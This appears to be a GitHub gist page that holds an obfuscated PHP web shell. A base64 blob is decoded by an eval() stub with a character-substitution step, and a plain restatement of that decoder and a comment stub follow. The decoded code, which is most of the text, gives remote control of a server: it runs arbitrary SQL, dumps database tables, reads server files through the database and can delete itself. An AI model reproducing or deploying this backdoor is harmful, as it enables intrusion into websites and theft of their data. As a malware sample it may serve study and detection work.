JCQl9DQoJCQlmM25jdDQybiA0cygpIHsNCgkJCQlmMnIoND0wOzQ8ZC5zZi41bDVtNW50c1sndGJsW10nXS5sNW5ndGg7Kys0KQ0KCQkJCQlkLnNmLjVsNW01bnRzWyd0YmxbXSddWzRdLmNoNWNrNWQgPSAhZC5zZi41bDVtNW50c1sndGJsW10nXVs0XS5jaDVjazVkOw0KCQkJfQ0KCQk8L3NjcjRwdD4iOw0KCTRmKDRzczV0KCRkYikgJiYgJGRiLT5sNG5rKXsNCgkJNWNoMiAiPGJyLz48dDFibDUgdzRkdGg9NjAwJSBjNWxscDFkZDRuZz1hIGM1bGxzcDFjNG5nPTA+IjsNCgkJCTRmKCE1bXB0eSgkX1BPU1RbJ3NxbF9iMXM1J10pKXsNCgkJCQkkZGItPnM1bDVjdGRiKCRfUE9TVFsnc3FsX2IxczUnXSk7DQoJCQkJNWNoMiAiPHRyPjx0ZCB3NGR0aD02IHN0eWw1PSdiMnJkNXItdDJwOmFweCBzMmw0ZCAjZWVlOyc+PHNwMW4+VDFibDVzOjwvc3Axbj48YnI+PGJyPiI7DQoJCQkJJHRibHNfcjVzID0gJGRiLT5sNHN0VDFibDVzKCk7DQoJCQkJd2g0bDUoJDR0NW0gPSAkZGItPmY1dGNoKCR0YmxzX3I1cykpIHsNCgkJCQkJbDRzdCgkazV5LCAkdjFsMzUpID0gNTFjaCgkNHQ1bSk7DQogICAgICAgICAgICAgICAgICAgIDRmKCE1bXB0eSgkX1BPU1RbJ3NxbF9jMjNudCddKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICRuID0gJGRiLT5mNXRjaCgkZGItPnEzNXJ5KCdTRUxFQ1QgQ09VTlQoKikgMXMgbiBGUk9NICcuJHYxbDM1LicnKSk7DQoJCQkJCSR2MWwzNSA9IGh0bWxzcDVjNDFsY2gxcnMoJHYxbDM1KTsNCgkJCQkJNWNoMiAiPG4yYnI+PDRucDN0IHR5cDU9J2NoNWNrYjJ4JyBuMW01PSd0YmxbXScgdjFsMzU9JyIuJHYxbDM1LiInPiZuYnNwOzwxIGhyNWY9IyAybmNsNGNrPVwic3QoJyIuJHYxbDM1LiInLDYpXCI+Ii4kdjFsMzUuIjwvMT4iIC4gKDVtcHR5KCRfUE9TVFsnc3FsX2MyM250J10pPycmbmJzcDsnOiIgPHNtMWxsPih7JG5bJ24nXX0pPC9zbTFsbD4iKSAuICI8L24yYnI+PGJyPiI7DQoJCQkJfQ0KCQkJCTVjaDIgIjw0bnAzdCB0eXA1PSdjaDVja2IyeCcgMm5jbDRjaz0nNHMoKTsnPiA8NG5wM3QgdHlwNT1iM3R0Mm4gdjFsMzU9J0QzbXAnIDJuY2w0Y2s9J2QyYzNtNW50LnNmLnBhLnYxbDM1PVwiZDJ3bmwyMWRcIjtkMmMzbTVudC5zZi5zM2JtNHQoKTsnPjxicj5GNGw1IHAxdGg6PDRucDN0IHR5cDU9dDV4dCBuMW01PWY0bDUgdjFsMzU9J2QzbXAuc3FsJz48L3RkPjx0ZCBzdHlsNT0nYjJyZDVyLXQycDphcHggczJsNGQgI2VlZTsnPiI7DQoJCQkJNGYoQCRfUE9TVFsncDYnXSA9PSAnczVsNWN0Jykgew0KCQkJCQkkX1BPU1RbJ3A2J10gPSAncTM1cnknOw0KICAgICAgICAgICAgICAgICAgICAkX1BPU1RbJ3BvJ10gPSAkX1BPU1RbJ3BvJ10/JF9QT1NUWydwbyddOjY7DQoJCQkJCSRkYi0+cTM1cnkoJ1NFTEVDVCBDT1VOVCgqKSAxcyBuIEZST00gJyAuICRfUE9TVFsncGEnXSk7DQoJCQkJCSRuM20gPSAkZGItPmY1dGNoKCk7DQoJCQkJCSRwMWc1cyA9IGM1NGwoJG4zbVsnbiddIC8gbzApOw0KICAgICAgICAgICAgICAgICAgICA1Y2gyICI8c2NyNHB0PmQuc2YuMm5zM2JtNHQ9ZjNuY3Q0Mm4oKXtzdChcIiIgLiAkX1BPU1RbJ3BhJ10gLiAiXCIsIGQuc2YucG8udjFsMzUpfTwvc2NyNHB0PjxzcDFuPiIuJF9QT1NUWydwYSddLiI8L3NwMW4+ICh7JG4zbVsnbiddfSByNWMycmRzKSBQMWc1ICMgPDRucDN0IHR5cDU9dDV4dCBuMW01PSdwbycgdjFsMzU9IiAuICgoNG50KSRfUE9TVFsncG8nXSkgLiAiPiI7DQogICAgICAgICAgICAgICAgICAgIDVjaDIgIiAyZiAkcDFnNXMiOw0KICAgICAgICAgICAgICAgICAgICA0ZigkX1BPU1RbJ3BvJ10gPiA2KQ0KICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAiIDwxIGhyNWY9IyAybmNsNGNrPSdzdChcIiIgLiAkX1BPU1RbJ3BhJ10gLiAnIiwgJyAuICgkX1BPU1RbJ3BvJ10tNikgLiAiKSc+Jmx0OyBQcjV2PC8xPiI7DQogICAgICAgICAgICAgICAgICAgIDRmKCRfUE9TVFsncG8nXSA8ICRwMWc1cykNCiAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgIiA8MSBocjVmPSMgMm5jbDRjaz0nc3QoXCIiIC4gJF9QT1NUWydwYSddIC4gJyIsICcgLiAoJF9QT1NUWydwbyddKzYpIC4gIiknPk41eHQgJmd0OzwvMT4iOw0KICAgICAgICAgICAgICAgICAgICAkX1BPU1RbJ3BvJ10tLTsNCgkJCQkJNGYoJF9QT1NUWyd0eXA1J109PSdwZ3NxbCcpDQoJCQkJCQkkX1BPU1RbJ3BhJ10gPSAnU0VMRUNUICogRlJPTSAnLiRfUE9TVFsncGEnXS4nIExJTUlUIG8wIE9GRlNFVCAnLigkX1BPU1RbJ3BvJ10qbzApOw0KCQkJCQk1bHM1DQoJCQkJCQkkX1BPU1RbJ3BhJ10gPSAnU0VMRUNUICogRlJPTSBgJy4kX1BPU1RbJ3BhJ10uJ2AgTElNSVQgJy4oJF9QT1NUWydwbyddKm8wKS4nLG8wJzsNCgkJCQkJNWNoMiAiPGJyPjxicj4iOw0KCQkJCX0NCgkJCQk0ZigoQCRfUE9TVFsncDYnXSA9PSAncTM1cnknKSAmJiAhNW1wdHkoJF9QT1NUWydwYSddKSkgew0KCQkJCQkkZGItPnEzNXJ5KEAkX1BPU1RbJ3BhJ10pOw0KCQkJCQk0ZigkZGItPnI1cyAhPT0gZjFsczUpIHsNCgkJCQkJCSR0NHRsNSA9IGYxbHM1Ow0KCQkJCQkJNWNoMiAnPHQxYmw1IHc0ZHRoPTYwMCUgYzVsbHNwMWM0bmc9NiBjNWxscDFkZDRuZz1hIGNsMXNzPW0xNG4gc3R5bDU9ImIxY2tncjIzbmQtYzJsMnI6I2E5YTlhOSI+JzsNCgkJCQkJCSRsNG41ID0gNjsNCgkJCQkJCXdoNGw1KCQ0dDVtID0gJGRiLT5mNXRjaCgpKQl7DQoJCQkJCQkJNGYoISR0NHRsNSkJew0KCQkJCQkJCQk1Y2gyICc8dHI+JzsNCgkJCQkJCQkJZjJyNTFjaCgkNHQ1bSAxcyAkazV5ID0+ICR2MWwzNSkNCgkJCQkJCQkJCTVjaDIgJzx0aD4nLiRrNXkuJzwvdGg+JzsNCgkJCQkJCQkJcjVzNXQoJDR0NW0pOw0KCQkJCQkJCQkkdDR0bDU9dHIzNTsNCgkJCQkJCQkJNWNoMiAnPC90cj48dHI+JzsNCgkJCQkJCQkJJGw0bjUgPSBhOw0KCQkJCQkJCX0NCgkJCQkJCQk1Y2gyICc8dHIgY2wxc3M9ImwnLiRsNG41LiciPic7DQoJCQkJCQkJJGw0bjUgPSAkbDRuNT09Nj9hOjY7DQoJCQkJCQkJZjJyNTFjaCgkNHQ1bSAxcyAkazV5ID0+ICR2MWwzNSkgew0KCQkJCQkJCQk0ZigkdjFsMzUgPT0gbjNsbCkNCgkJCQkJCQkJCTVjaDIgJzx0ZD48ND5uM2xsPC80PjwvdGQ+JzsNCgkJCQkJCQkJNWxzNQ0KCQkJCQkJCQkJNWNoMiAnPHRkPicubmxhYnIoaHRtbHNwNWM0MWxjaDFycygkdjFsMzUpKS4nPC90ZD4nOw0KCQkJCQkJCX0NCgkJCQkJCQk1Y2gyICc8L3RyPic7DQoJCQkJCQl9DQoJCQkJCQk1Y2gyICc8L3QxYmw1Pic7DQoJCQkJCX0gNWxzNSB7DQoJCQkJCQk1Y2gyICc8ZDR2PjxiPkVycjJyOjwvYj4gJy5odG1sc3A1YzQxbGNoMXJzKCRkYi0+NXJyMnIoKSkuJzwvZDR2Pic7DQoJCQkJCX0NCgkJCQl9DQoJCQkJNWNoMiAiPGJyPjwvZjJybT48ZjJybSAybnMzYm00dD0nZC5zZi5wNi52MWwzNT1cInEzNXJ5XCI7ZC5zZi5wYS52MWwzNT10aDRzLnEzNXJ5LnYxbDM1O2QyYzNtNW50LnNmLnMzYm00dCgpO3I1dDNybiBmMWxzNTsnPjx0NXh0MXI1MSBuMW01PSdxMzVyeScgc3R5bDU9J3c0ZHRoOjYwMCU7aDU0Z2h0OjYwMHB4Jz4iOw0KICAgICAgICAgICAgICAgIDRmKCE1bXB0eSgkX1BPU1RbJ3BhJ10pICYmICgkX1BPU1RbJ3A2J10gIT0gJ2wyMWRmNGw1JykpDQogICAgICAgICAgICAgICAgICAgIDVjaDIgaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3BhJ10pOw0KICAgICAgICAgICAgICAgIDVjaDIgIjwvdDV4dDFyNTE+PGJyLz48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9J0V4NWMzdDUnPiI7DQoJCQkJNWNoMiAiPC90ZD48L3RyPiI7DQoJCQl9DQoJCQk1Y2gyICI8L3QxYmw1PjwvZjJybT48YnIvPiI7DQogICAgICAgICAgICA0ZigkX1BPU1RbJ3R5cDUnXT09J215c3FsJykgew0KICAgICAgICAgICAgICAgICRkYi0+cTM1cnkoIlNFTEVDVCA2IEZST00gbXlzcWwuM3M1ciBXSEVSRSBjMm5jMXQoYDNzNXJgLCAnQCcsIGBoMnN0YCkgPSBVU0VSKCkgQU5EIGBGNGw1X3ByNHZgID0gJ3knIik7DQogICAgICAgICAgICAgICAgNGYoJGRiLT5mNXRjaCgpKQ0KICAgICAgICAgICAgICAgICAgICA1Y2gyICI8ZjJybSAybnMzYm00dD0nZC5zZi5wNi52MWwzNT1cImwyMWRmNGw1XCI7ZDJjM201bnQuc2YucGEudjFsMzU9dGg0cy5mLnYxbDM1O2QyYzNtNW50LnNmLnMzYm00dCgpO3I1dDNybiBmMWxzNTsnPjxzcDFuPkwyMWQgZjRsNTwvc3Axbj4gPDRucDN0ICBjbDFzcz0ndDIybHNJbnAnIHR5cDU9dDV4dCBuMW01PWY+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSc+Pic+PC9mMnJtPiI7DQogICAgICAgICAgICB9DQoJCQk0ZihAJF9QT1NUWydwNiddID09ICdsMjFkZjRsNScpIHsNCgkJCQkkZjRsNSA9ICRkYi0+bDIxZEY0bDUoJF9QT1NUWydwYSddKTsNCgkJCQk1Y2gyICc8cHI1IGNsMXNzPW1sNj4nLmh0bWxzcDVjNDFsY2gxcnMoJGY0bDVbJ2Y0bDUnXSkuJzwvcHI1Pic7DQoJCQl9DQoJfSA1bHM1IHsNCiAgICAgICAgNWNoMiBodG1sc3A1YzQxbGNoMXJzKCRkYi0+NXJyMnIoKSk7DQogICAgfQ0KCTVjaDIgJzwvZDR2Pic7DQogICAgbTFkZjIydDVyKCk7DQogICAgDQogfQ0KIA0KIGYzbmN0NDJuIG0xZHM1bGZybSgpDQogew0KICAgIA0KICAgIDRmKCRfUE9TVFsncDYnXSA9PSAneTVzJykNCgkJNGYoQDNubDRuayhwcjVnX3I1cGwxYzUoJyFcKFxkK1wpXHMuKiEnLCAnJywgX19GSUxFX18pKSkNCgkJCWQ0NSgnU2g1bGwgaDFzIGI1NW4gcjVtMnY1ZCcpOw0KCQk1bHM1DQoJCQk1Y2gyICczbmw0bmsgNXJyMnIhJzsNCiAgICA0ZigkX1BPU1RbJ3A2J10gIT0gJ3k1cycpDQogICAgICAgIG0xZGg1MWQoKTsNCgk1Y2gyICI8ZDR2IGNsMXNzPWg1MWQ1cj48cHI1IGNsMXNzPW1sNiBzdHlsNT0nbTFyZzRuLXQycDppcHgnPiI7DQogICAgDQogICAgDQogICAgNWNoMiAiDQogICAgDQogICAgICAgICAgICAgICAgL15cDQogICAgICAgXy4tYDogICAvICAgXCAgIDonLS5fDQogICAgICxgICAgIDogIHwgICAgIHwgIDogICAgJy4NCiAgICxgICAgICAgIFwsfCAgICAgfCwvICAgICAgICcuDQogIC8gICAgICAgICAgIGAtLi4uLWAgICAgICAgICAgIFwNCiA6ICAgICAgICAgICAgICAuJy4gICAgICAgICAgICAgIDoNCiB8ICAgICAgICAgICAgIC4gJyAuICAgICAgICAgICAgIHwNCiB8ICAgICAgICAgICAgICcgLiAnICAgICAgICAgICAgIHwNCiA6ICAgICAgICAgICAgICAnLicgICAgICAgICAgICAgIDoNCiAgXCAgICAgICAgICAgLC0nJyctLCAgICAgICAgICAgLw0KICAgYC4gICAgICAgLyd8ICAgICB8J1wgICAgICAgLCcNCiAgICAgYC5fICAgOyAgfCAgICAgfCAgOyAgIF8sJw0KICAgICAgICBgLS46ICB8ICAgICB8ICA6LC0nDQogICAgICAgICAgICAgIHwgICAgIHwNCiAgICAgICAgICAgICAgfCAgICAgfA0KICAgICAgICAgICAgICB8ICAgICB8DQogICAgICAgICAgICAgIHwgICAgIHwNCiAgICAgICAgICAgICAgfCAgICAgfA0KIjsNCiAgICANCiAgICANCiAgICANCiAgICA1Y2gyICc8YnI+SzRsbCBNNT88YnI+PDEgaHI1Zj0jIDJuY2w0Y2s9ImcobjNsbCxuM2xsLFwneTVzXCcpIj5ZNXM8LzE+PC9kNHY+JzsNCgltMWRGMjJ0NXIoKTsNCiAgICANCiB9DQoNCg0KNGYoIDVtcHR5KCRfUE9TVFsnMSddKSApDQoJNGYoNHNzNXQoJGQ1ZjEzbHRfMWN0NDJuKSAmJiBmM25jdDQybl81eDRzdHMoJ20xZCcgLiAkZDVmMTNsdF8xY3Q0Mm4pKQ0KCQkkX1BPU1RbJzEnXSA9ICRkNWYxM2x0XzFjdDQybjsNCgk1bHM1DQoJCSRfUE9TVFsnMSddID0gJ0Y0bDVzTTFuJzsNCjRmKCAhNW1wdHkoJF9QT1NUWycxJ10pICYmIGYzbmN0NDJuXzV4NHN0cygnbTFkJyAuICRfUE9TVFsnMSddKSApDQoJYzFsbF8zczVyX2YzbmMoJ20xZCcgLiAkX1BPU1RbJzEnXSk7DQoJNXg0dDsNCj8+';eval($OOO0000O0('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));?>
$_X=base64_decode($_X);$_X=strtr($_X,'123456aouie','aouie123456');$_R=ereg_replace('__FILE__',"'".$_F."'",$_X);eval($_R);$_R=0;$_X=0;
@kenorb
Copy link

kenorb commented Apr 10, 2015

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment